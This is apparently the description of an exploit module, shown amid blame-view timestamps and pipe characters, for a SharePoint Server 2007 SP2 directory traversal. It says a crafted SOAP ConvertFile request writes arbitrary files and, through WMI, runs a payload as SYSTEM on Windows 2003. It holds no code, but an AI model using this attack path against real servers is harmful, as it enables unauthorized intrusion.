|
|
|
|
This module exploits a vulnerability found in SharePoint Server 2007 SP2. The
|
|
|
|
software contains a directory traversal, that allows a remote attacker to write
|
|
|
|
arbitrary files to the filesystem, sending a specially crafted SOAP ConvertFile
|
|
|
|
request to the Office Document Conversions Launcher Service, which results in code
|
|
|
|
execution under the context of 'SYSTEM'.
|
|
|
|
|
2015-03-29 23:40:31 +00:00
|
|
|
The module uses the Windows Management Instrumentation service to execute an
|
2013-08-30 21:28:54 +00:00
|
|
|
arbitrary payload on vulnerable installations of SharePoint on Windows 2003 Servers.
|
|
|
|
It has been successfully tested on Office SharePoint Server 2007 SP2 over Windows
|
|
|
|
2003 SP2.
